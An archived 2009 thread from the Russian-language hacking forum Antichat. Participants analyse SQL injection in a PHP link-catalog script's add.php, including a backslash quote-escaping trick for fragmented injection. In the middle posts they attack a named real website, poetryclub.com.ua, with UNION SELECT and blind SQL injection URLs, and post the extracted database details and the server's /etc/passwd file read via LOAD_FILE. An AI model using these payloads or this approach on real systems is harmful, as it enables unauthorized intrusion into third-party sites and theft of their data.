ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

14.06.2009, 01:17
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
PHP код:
if ($do=="add") {
$ttitle=mhtml(substr($HTTP_POST_VARS["ttitle"],0,256));
$url=mhtml(substr($HTTP_POST_VARS["url"],0,256));
$email=mhtml(substr($HTTP_POST_VARS["email"],0,256));
$description=mhtml(substr($HTTP_POST_VARS["description"],0,2048));
$c1=intval($HTTP_POST_VARS["c1"]);
$error="";
if ($c1==0) $error.="<LI>".$LANG["mustbecat"];
if (empty($email)) $error.="<LI>".$LANG["mustbeemail"];
if (empty($url)) $error.="<LI>".$LANG["mustbeurl"];
if (empty($ttitle)) $error.="<LI>".$LANG["mustbetitle"];
if (empty($description)) $error.="<LI>".$LANG["mustbedescription"];
if (empty($error)) {
if ($cat["mailifnewlink"]=="yes") {
mail($cat["mailifnewlinkto"],$cat["mailifnewlinksubject"],"TITLE: $ttitle\nURL: $url\n");
}
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
require("template.php");
if($onregister == "on")
{
$headers = "From: $namesender <$emailsender>\n";
mail($email,$subjbefore,html_entity_decode($templbefore,ENT_QUOTES),$headers);
}
$r=mysql_query("SELECT max(lid) FROM main WHERE url='$url'") or die(mysql_error());
$cid=@mysql_result($r,0,0);
print ("<HTML><HEAD>\n");
print ("<META HTTP-EQUIV=refresh CONTENT='0;url=thx.php?id=$cid'>\n");
print ("</HEAD></HTML>\n");
die();
}
}
Скрипт: add.php
Функция: mhtml() // Самописная
PHP код:
function mhtml($t)
{
$t=StripSlashes($t);
$t=str_replace("'","'",$t);
$t=str_replace("\"",""",$t);
return $t;
}
Функция эта сначала убирает слэши,которые экранируют кавычки(обратные то бишь) и спецсимволы экранируются.Также заменяются символы '\' и ' на хтмл сущности.т.е. бесполезные их варианты при проведении XSS.Ладно.Зато есть инжект в INSERT запросе.
Уязвимые параметры: $email,$url,$ttitle,$description.
Почему я так решил? Проверил на локалхосте:
PHP код:
<?php
$n=mhtml(substr($_GET["x"],0,256));
echo $n;
function mhtml($t)
{
$t=StripSlashes($t);
$t=str_replace("'","'",$t);
$t=str_replace("\"",""",$t);
return $t;
}
?>
Или я неправильно накодил,или стр реплейс не работает.Эта функция не заменяет кавычку вообще.На сервере включён magic_quotes_gpc.
|
|
|

14.06.2009, 01:32
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от Велемир
Или я неправильно накодил,или стр реплейс не работает.Эта функция не заменяет кавычку вообще.На сервере включён magic_quotes_gpc.
Функция заменяет кавычку на & # 3 9 ;
Если исходить из того кода что ты дал.
|
|
|

14.06.2009, 01:39
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме: 227123
Репутация:
122
|
|
Здравствуйте, не примите за лапуха...но такую ошибку первый раз вижу
Код:
http://www.poetryclub.com.ua/author.php?id=2933%20union%20select%201%20--
Код HTML:
Database error: next_record called with no query pending. MySQL Error: () Session halted.
поля ордером перебирал
|
|
|

14.06.2009, 01:45
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от Велемир
Проверь у себя.Не работает
Загляни в html сорец странички (Вид - Исходный код страницы). Там все будет так как и должно быть.
|
|
|

14.06.2009, 01:47
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Хз,что за ошибка,но посимвольный работает:
http://www.poetryclub.com.ua/author.php?id=2933+and+ascii(substring((select+ver sion()),1,1))%3E=1/*
Обрати внимание на поле Опублiковано
|
|
|

14.06.2009, 01:51
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Если кавычка превращается в хтмл сущность оной,пусть инезаметно для меня,то инжект нельзя провести ?
|
|
|

14.06.2009, 01:53
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме: 4072944
Репутация:
1550
|
|
2 TELO
http://www.poetryclub.com.ua/author.php?id=2933+UNION+SELECT+CONCAT(0x3a,versio n(),database(),user())+LIMIT+1,1--
Database Version: 5.0.27
Database name: poetryclub
User name: vobushka@localhost
http://www.poetryclub.com.ua/author.php?id=2933+UNION+SELECT+LOAD_FILE(0x2f6574 632f706173737764)+LIMIT+1,1--
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh bla bla bla
Последний раз редактировалось Gorev; 14.06.2009 в 01:57..
|
|
|

14.06.2009, 01:56
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от Велемир
Если кавычка превращается в хтмл сущность оной,пусть инезаметно для меня,то инжект нельзя провести ?
Если кавчка заменяется html сущностями, то это уже не кавычка и ничего ты ею не сделаешь.
P.S. кстати скрипт бажный.
Слеши как я понял не экранируются, можно их заюзать:
* тут немного не правильно написал, см мой пост ниже.
Код:
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
к примеру:
$url = \
$email = cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email=(select version()), type=0; -- 1
Получиться:
Код:
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='\', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email=(select version()), type=0; -- 1', type=0;") or die(mysql_error());
Последний раз редактировалось Grey; 14.06.2009 в 03:07..
|
|
|

14.06.2009, 02:36
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Чет я не догнал тему о слешах.Без них никак? Смотрю на твой пример и ничего не понимаю(кроме селект версион() 
|
|
|

14.06.2009, 02:52
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от Велемир
Чет я не догнал тему о слешах.Без них никак? Смотрю на твой пример и ничего не понимаю(кроме селект версион() 
* в этой мессаге я тебе некоторые вещи цветом пометил.
Ну смотри переменная $ttitle - ей присваиваешь значение '\';
Т.е. слеш.
Код:
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Получается следующее:
Код:
mysql_query("INSERT INTO main SET title='\', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Т.е. он экранирует кавычку идущую после него.
Значит она не будет учавствовать в запросе и будет отображаться как текст, до следующей кавычки (в предыдущем примере я ошибся с $email):
Всё между этими кавычками - будет восприниматься как текст и будет значением колонки url.
Код:
mysql_query("INSERT INTO main SET title='\', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Теперь ты можешь присвоить переменной $description значение и никакие кавычки тебе не помешают.
Предположим значение $description = ' , url=0, cat1=0, cat2=0, cat3=0,gin=0, gout=0, moder_vote=0, email={СКЛ инъекция}, type=0; -- '
В запросе будет следующее:
Код:
mysql_query("INSERT INTO main SET title='\', description=', url=0, cat1=0, cat2=0, cat3=0,gin=0, gout=0, moder_vote=0, email={СКЛ инъекция}, type=0; -- ', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Отбросим лишее (то, что будет за комментировано):
Код:
mysql_query("INSERT INTO main SET title='\', description=', url=0, cat1=0, cat2=0, cat3=0,gin=0, gout=0, moder_vote=0, email={СКЛ инъекция}, type=0; -- ") or die(mysql_error());
Далее объясню тебе как юзать такую инъекцию:
1. Или смотришь на то, что добавилось в поле email (если верить названию - оно где то должно отображаться).
2. Или юзаешь more than 1 row (ищи статью Електа).
P.S. А вообще вот тебе две статьи, милый, иди и изучай:
Атака на WEB. Миссия невыполнима - а там находишь "[ Фрагментированная SQL-inj ]"
more than 1 row
Последний раз редактировалось Grey; 14.06.2009 в 15:14..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|